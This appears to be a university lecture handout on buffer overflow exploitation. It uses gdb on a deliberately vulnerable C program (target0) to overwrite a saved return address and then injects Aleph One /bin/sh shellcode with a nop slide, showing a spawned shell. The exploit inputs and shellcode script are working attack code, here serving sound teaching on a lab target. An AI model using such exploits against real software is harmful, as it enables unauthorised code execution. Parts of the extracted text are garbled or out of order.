C Vulnerabilities Slides
C Vulnerabilities Slides
university
Prof. Dr. Michael Backes
CISPA / Saarland University computer science
Introduction
We use the VM and an adapted version of Target 1 from the first exercise of CS155: Com-
puter and Network Security (https://crypto.stanford.edu/cs155/) by Dan Boneh
and John Mitchell as an example to demonstrate gdb and how to write basic exploits
for buffer overflow vulnerabilities. We call our modified version of the target program
target0 and its code is shown in Listing 1.
Listing 1: Source code of our target0 program for buffer overflow exploit.
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 void hidden()
6 {
7 // Just prints a string on the standard output
8 fprintf(stdout, ”Hijacked! Hidden functionality!\n”);
9 }
10
11 int bar(char *arg, char *out)
12 {
13 strcpy(out, arg); // Copies from arg memory to out memory until arg is 0x00
14 return 0;
15 }
16
17 int foo(char *argv[])
18 {
19 char buf[128]; // Allocate buffer in memory that can hold 128 bytes
20 bar(argv[1], buf); // Call bar function, where first command line argument is source &
memory for copying and buf is target memory for copying
21 }
22
23 int main(int argc, char *argv[])
24 {
25 // Check if we have exactly one command line argument,
26 // otherwise print error message and exit program
27 if (argc != 2) // Integer argc is number command line parameters, 0 is always reserved for &
the name of the executable
28 {
29 fprintf(stderr, ”target0: argc != 2\n”);
30 exit(EXIT FAILURE);
31 }
32
1/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
The vulnerability in this program is the use of strcpy (line 13), which copies the
first command line arguments into a buffer of limited length (here 128 bytes) without
checking the length of the input buffer (i.e., command line argument). This can be easily
exploited by an attacker to perform a buffer overflow attack by providing a command
line argument that is longer than 128 bytes!
1 Normal Execution
First, we investigate with gdb the normal execution of the target program. The target
program is located in /proj1/targets/target0 on our VM and we start it as follows:
1 $ gdb proj1 / targets / target0
Executing the program with gdb starts the target0 program in the gdb debugger.
Starting the program will give you a command line prompt similar to the one in listing 2.
For a list of some basic, useful commands please refer to our Exercise 4 sheet or for a full
list enter help into the prompt and follow that help.
As the source code is available, gdb allows you to inspect the source during debugging
and set breakpoints (i.e., points where the control flow of the program is interrupted by
gdb and control given to your prompt) more efficiently.
1 ( gdb ) list foo
2 17 int foo ( char * argv [])
3 18 {
4 19 char buf [128]; // Allocate buffer in memory that can hold &
128 bytes
5 20 bar ( argv [1] , buf ) ; // Call bar function , where first &
command line argument is source memory for copying and buf is &
target memory for copying
2/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
6 21 }
We are interested in the memory content of the buf buffer before and after it was
filled by strcpy. Let’s break at line 20, just before the call to bar, and line 21, just after
the call to bar returned and before foo returns to main:
1 ( gdb ) break 20
2 Breakpoint 1 at 0 x8048522 : file target0 .c , line 20.
3 ( gdb ) break 21
4 Breakpoint 2 at 0 x8048539 : file target0 .c , line 21.
Let the program run and wait for the first breakpoint to be triggered:
1 ( gdb ) run ABCD
2 Starting program : / proj1 / targets / target0 ABCD
3
4 Breakpoint 1 , foo ( argv =0 xbffff684 ) at target0 . c :20
5 20 bar ( argv [1] , buf ) ; // Call bar function , where first &
command line argument is source memory for copying and buf is &
target memory for copying
Now let’s inspect the content of buf. Here we just print the first 4 words (w) of the
buffer in hexadecimal (x) form:
1 ( gdb ) x /128 bx buf
2 0 xbffff550 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00
3 0 xbffff558 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00
4 0 xbffff560 : 0 x03 0 x00 0 x00 0 x00 0 x09 0 x00 0 x00 0 x00
5 0 xbffff568 : 0 x3f 0 x00 0 xc0 0 x02 0 x00 0 x00 0 x00 0 x00
6 0 xbffff570 : 0 x24 0 xf6 0 xff 0 xbf 0 x98 0 xf5 0 xff 0 xbf
7 0 xbffff578 : 0 x90 0 xf5 0 xff 0 xbf 0 xa3 0 x82 0 x04 0 x08
8 0 xbffff580 : 0 x38 0 xf9 0 xff 0 xb7 0 x00 0 x00 0 x00 0 x00
9 0 xbffff588 : 0 xc2 0 x00 0 x00 0 x00 0 x16 0 xa2 0 xeb 0 xb7
10 0 xbffff590 : 0 xff 0 xff 0 xff 0 xff 0 xbe 0 xf5 0 xff 0 xbf
11 0 xbffff598 : 0 xf8 0 x1b 0 xe3 0 xb7 0 x73 0 x82 0 xe5 0 xb7
12 0 xbffff5a0 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 xc3 0 x00
13 0 xbffff5a8 : 0 x01 0 x00 0 x00 0 x00 0 x49 0 x83 0 x04 0 x08
14 0 xbffff5b0 : 0 xdb 0 xf7 0 xff 0 xbf 0 x2f 0 x00 0 x00 0 x00
15 0 xbffff5b8 : 0 x00 0 xa0 0 x04 0 x08 0 xe2 0 x85 0 x04 0 x08
16 0 xbffff5c0 : 0 x02 0 x00 0 x00 0 x00 0 x84 0 xf6 0 xff 0 xbf
17 0 xbffff5c8 : 0 x90 0 xf6 0 xff 0 xbf 0 x2d 0 x84 0 xe5 0 xb7
Since the content of the buffer was not cleared after it was allocated, this content
can be arbitrary and vary from execution to execution (e.g., artifacts from some other
program or stack operations). Let’s continue the execution of the program, trigger the
second breakpoint, and investigate the memory content of buf again:
1 ( gdb ) continue
2 Continuing .
3
4 Breakpoint 2 , foo ( argv =0 xbffff684 ) at target0 . c :21
5 21 }
6 ( gdb ) x /128 bx buf
3/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
We can see that the first word of the memory was overwritten in bar. You can check
the ASCII code for the representation of ABCD in hexadecimal form and will notice that
A equals to 0x41, B to 0x42, and so forth. Thus, it is obvious that the first word of buf
equals indeed to ABCD. Note: Words are represented in inverse byte order (“little endian”),
i.e., the lower memory address is at the end. Thus, the A is at the end of the first word.
The little-endian ordering is displayed if we print words (4 bytes on a 32 bit system)
instead of single bytes:
1 ( gdb ) x / wx buf
2 0 xbffff550 : 0 x44434241
Using & in the beginning of the variable name buf means, we are interested in the
memory address of the variable and not its content. Here that means, that buf is located
at address 0xbffff550 and occupies the next 128 bytes starting at this address. To print
its content we can use the x command as shown before.
At this point, while execution of target0 is halted at the end of function foo, we
can also investigate which return address is saved on the stack. For this, we gather
information on the current stack frame:1
1 ( gdb ) info frame
2 Stack level 0 , frame at 0 xbffff5d8 :
3 eip = 0 x8048539 in foo ( target0 . c :21) ; saved eip = 0 x8048583
4 called by frame at 0 xbffff5f0
5 source language c .
6 Arglist at 0 xbffff5d0 , args : argv =0 xbffff684
7 Locals at 0 xbffff5d0 , Previous frame ' s sp is 0 xbffff5d8
8 Saved registers :
1
See http://stackoverflow.com/questions/10057443/explain-the-concept-of-a-stack-frame-in-a-nutshell
and https://en.wikipedia.org/wiki/Call_stack for some background information
4/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
Important is the information on the Saved registers, where eip is the instruction
pointer, i.e., the memory address of the next instruction to execute. That means, once
foo returns, the instruction pointer will be restored to the value saved at the memory
address of the saved eip (i.e., at memory location 0xbffff5d4). Let’s check which address
this is:
1 ( gdb ) x / wx 0 xbffff5d4
2 0 xbffff5d4 : 0 x08048583
In both cases, we can see that hidden is located at memory address 0x80484bc.
Thus, in order to redirect the control flow to hidden, we have to overwrite the (saved)
instruction pointer (eip) with this address.
5/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
So we have to fill the buffer (128 bytes) and need an overflow of 8 bytes (4 bytes
for the gap between end of buffer and saved return address, 132-128=4, plus 4 bytes to
override the saved return address).
Note: It is important that you perform above calculation only with the addresses
from program executions that received identical input (or from within the same gdb
session)! The exact address of buf and of the saved return address depend on the length
of the command line arguments, as we will see later in Section 3!
We can craft such command line arguments easily using the python scripting language.
1 $ python - c " print 132 * ' A ' + ' \ xcd ' + ' \ x84 ' + ' \ 0 4 ' + ' \ x08 ' "
Of course you can use any scripting language or a shell script. The above command
will print out a string, that is exactly the exploit command line argument that we need:
132 A to fill the buffer and the gap between buffer and saved return address plus 4 bytes
that are the address of hidden to overwrite the saved return address (remember, words
in x86 are stored in reverse byteorder, i.e., ”little endian”, and hence we have to print the
address in reverse order in our commands).
Again, let us interrupt the program just before the call to bar and just after that
call but before returning from foo and thereby examine the memory region that we are
about to override:
1 ( gdb ) run ` python - c " print 132 * ' A ' + ' \ xcd ' + ' \ x84 ' + ' \ 0 4 ' + ' \ &
x08 ' " `
2 Starting program : / home / user / proj1 / targets / target0 ` python - c " print &
132 * ' A ' + ' \ xcd ' + ' \ x84 ' + ' \ 0 4 ' + ' \ x08 ' " `
3
4 Breakpoint 1 , foo ( argv =0 xbffff604 ) at target0 . c :20
5 20 bar ( argv [1] , buf ) ; // Call bar function , where first &
command line argument is source memory for copying and buf is &
target memory for copying
6 ( gdb ) x /128 xb buf
7 0 xbffff4d0 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00
8 0 xbffff4d8 : 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00 0 x00
9 0 xbffff4e0 : 0 x03 0 x00 0 x00 0 x00 0 x09 0 x00 0 x00 0 x00
10 0 xbffff4e8 : 0 x3f 0 x00 0 xc0 0 x02 0 x00 0 x00 0 x00 0 x00
11 0 xbffff4f0 : 0 xa4 0 xf5 0 xff 0 xbf 0 x18 0 xf5 0 xff 0 xbf
12 0 xbffff4f8 : 0 x10 0 xf5 0 xff 0 xbf 0 xa3 0 x82 0 x04 0 x08
13 0 xbffff500 : 0 x38 0 xf9 0 xff 0 xb7 0 x00 0 x00 0 x00 0 x00
14 0 xbffff508 : 0 xc2 0 x00 0 x00 0 x00 0 x16 0 xa2 0 xeb 0 xb7
15 0 xbffff510 : 0 xff 0 xff 0 xff 0 xff 0 x3e 0 xf5 0 xff 0 xbf
16 0 xbffff518 : 0 xf8 0 x1b 0 xe3 0 xb7 0 x73 0 x82 0 xe5 0 xb7
6/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
So far the control flow is identical to the one shown in the normal execution in
Section 1. You can see the regular saved return address at the very end of the printed
memory region for buf. Let’s continue to the second breakpoint after the copy operation
in bar and re-examine the memory region:
1 ( gdb ) continue
2 Continuing .
3
4 Breakpoint 2 , foo ( argv =0 xbffff600 ) at target0 . c :21
5 21 }
6 ( gdb ) x /128 xb buf
7 0 xbffff4d0 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
8 0 xbffff4d8 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
9 0 xbffff4e0 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
10 0 xbffff4e8 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
11 0 xbffff4f0 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
12 0 xbffff4f8 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
13 0 xbffff500 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
14 0 xbffff508 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
15 0 xbffff510 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
16 0 xbffff518 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
17 0 xbffff520 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
18 0 xbffff528 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
19 0 xbffff530 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
20 0 xbffff538 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
21 0 xbffff540 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
22 0 xbffff548 : 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41 0 x41
23 ( gdb ) x /4 bx 0 xbffff550
24 0 xbffff550 : 0 x41 0 x41 0 x41 0 x41
25 ( gdb ) x /4 bx 0 xbffff554
26 0 xbffff554 : 0 xcd 0 x84 0 x04 0 x08
As we can see, the buffer is indeed filled with As, also the gap between end of buffer
7/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
is filled with As, and the saved return address is correctly overwritten with the address of
hidden. Let’s continue execution:
1 ( gdb ) continue
2 Continuing .
3 Hijacked ! Hidden functionality !
4
5 Program received signal SIGSEGV , Segmentation fault .
6 0 xbffff600 in ?? ()
As we can see, the hidden was successfully called. After that, the program crashed
with a SIGSEGV error, i.e., the program tried to illegally access a memory location to
which it did not have access.
8/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
13 Saved registers :
14 ebp at 0 xbffff5d0 , eip at 0 xbffff5d4
15 ( gdb ) continue
16 Continuing .
17
18 Breakpoint 2 , foo ( argv =0 xbffff684 ) at target0 . c :21
19 21 }
20 ( gdb ) continue
21 Continuing .
22 [ Inferior 1 ( process 3584) exited normally ]
23 ( gdb ) run A B C D E F G H I J K L M N O P Q R S T U V W X Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
24 Starting program : / home / user / proj1 / targets / target0 &
ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ
25
26 Breakpoint 1 , foo ( argv =0 xbffff654 ) at target0 . c :20
27 20 bar ( argv [1] , buf ) ; // Call bar function , where first command &
line argument is source memory for copying and buf is target &
memory for copying
28 ( gdb ) info frame
29 Stack level 0 , frame at 0 xbffff5a8 :
30 eip = 0 x8048522 in foo ( target0 . c :20) ; saved eip = 0 x8048583
31 called by frame at 0 xbffff5c0
32 source language c .
33 Arglist at 0 xbffff5a0 , args : argv =0 xbffff654
34 Locals at 0 xbffff5a0 , Previous frame ' s sp is 0 xbffff5a8
35 Saved registers :
36 ebp at 0 xbffff5a0 , eip at 0 xbffff5a4
37 ( gdb ) continue
38 Continuing .
39
40 Breakpoint 2 , foo ( argv =0 xbffff654 ) at target0 . c :21
41 21 }
42 ( gdb ) continue
43 Continuing .
44 [ Inferior 1 ( process 3594) exited normally ]
9/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
So, we know that buf will be located at address 0xbffff4d0 when we execute target0
with an argument of our required length.
Since this shellcode is much shorter than our buffer size, we have to additionally fill
the buffer. For this we will simply use a “nop slide”, i.e., 0x90 bytes which when executed
simply do nothing. The benefit of a nop slide is, that in case our overwritten return
address does not point directly to our shellcode but to the nop bytes, the execution
will eventually “slide” to our shellcode. Hence, the nop slide can be used to compensate
for changes in the stack memory layout and make the exploit more robust against such
changes.
To actually craft our exploit code, we will use again a scripting language, here a
Python script:
1 # Aleph One shellcode .
2 sc = " \ xeb \ x1f \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ &
x0b \ x89 \ xf3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ &
xcd \ x80 \ xe8 \ xdc \ xff \ xff \ xff / bin / sh "
3
4 # Buffer address in correct endianness
5 BUF_ADDR = " \ xd0 \ xf4 \ xff \ xbf "
6 LENGTH_BUFFER = 128
7 SIZE_EBP = 4
8 SIZE_EIP = 4
9 TOTAL_LENGTH_INPUT = LENGTH_BUFFER + SIZE_EBP + SIZE_EIP
10 # Print nop slide + shellcode + address of buffer
11 print ( TOTAL_LENGTH_INPUT - len ( sc ) - len ( BUF_ADDR ) ) * ' \ x90 ' + &
sc + BUF_ADDR
10/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
As can be seen, the buffer was correctly filled and the saved return address of foo
correctly overwritten with the address of buf, i.e., it points to the beginning of the nop
slide. Let’s continue the execution:
1 ( gdb ) continue
2 Continuing .
3 process 3623 is executing new program : / bin / dash
4 $ id
5 uid =1000( user ) gid =1000( user ) groups =1000( user ) ,4( adm ) ,20( dialout ) &
,24( cdrom ) ,25( floppy ) ,29( audio ) ,30( dip ) ,44( video ) ,46( plugdev ) ,108( &
admin )
11/12
Foundations of Cybersecurity (Winter 16/17) Buffer Overflow Demo
The exploit code successfully opened a shell prompt to which we can issue arbitrary
commands with the rights of the user that started the program.
12/12